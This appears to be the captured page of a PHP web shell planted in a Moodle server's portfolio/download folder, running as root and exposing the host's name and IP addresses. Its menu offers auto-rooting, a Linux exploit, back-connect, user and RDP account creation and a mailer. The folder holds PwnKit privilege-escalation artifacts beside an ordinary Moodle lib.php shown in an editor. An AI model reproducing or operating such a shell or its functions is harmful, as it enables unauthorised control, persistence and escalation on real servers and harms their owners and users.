Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
portfolio /
download /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
file.php
1.5
KB
-rwxrwxrwx
lib.php
1.51
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
version.php
1.13
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib.php
<?php require_once($CFG->libdir . '/portfoliolib.php'); require_once($CFG->libdir . '/portfolio/plugin.php'); class portfolio_plugin_download extends portfolio_plugin_pull_base { protected $exportconfig; public static function get_name() { return get_string('pluginname', 'portfolio_download'); } public static function allows_multiple_instances() { return false; } public function expected_time($callertime) { return PORTFOLIO_TIME_LOW; } public function prepare_package() { $files = $this->exporter->get_tempfiles(); if (count($files) == 1) { $this->set('file', array_shift($files)); } else { $this->set('file', $this->exporter->zip_tempfiles()); // this will throw a file_exception which the exporter catches separately. } } public function steal_control($stage) { if ($stage == PORTFOLIO_STAGE_FINISHED) { global $CFG; return $CFG->wwwroot . '/portfolio/download/file.php?id=' . $this->get('exporter')->get('id'); } } public function send_package() {} public function verify_file_request_params($params) { // for download plugin the only thing we need to verify is that // the logged in user is the same as the exporting user global $USER; if ($USER->id != $this->user->id) { return false; } return true; } public function get_interactive_continue_url() { return false; } }
Close